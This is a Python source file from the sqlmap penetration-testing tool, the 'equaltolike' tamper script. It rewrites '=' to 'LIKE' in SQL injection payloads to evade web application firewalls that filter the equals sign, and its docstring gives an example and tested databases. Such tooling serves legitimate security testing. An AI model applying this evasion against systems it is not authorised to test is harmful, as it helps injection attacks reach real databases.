sqlmap/tamper/equaltolike.py
2012-12-03 14:27:01 +01:00

51 lines
1.3 KiB
Python

#!/usr/bin/env python
"""
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL))
def tamper(payload, **kwargs):
"""
Replaces all occurances of operator equal ('=') with operator 'LIKE'
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
Notes:
* Useful to bypass weak and bespoke web application firewalls that
filter the equal character ('=')
* The LIKE operator is SQL standard. Hence, this tamper script
should work against all (?) databases
"""
def process(match):
word = match.group()
word = "%sLIKE%s" % (" " if word[0] != " " else "", " " if word[-1] != " " else "")
return word
retVal = payload
if payload:
retVal = re.sub(r"\s*=\s*", lambda match: process(match), retVal)
return retVal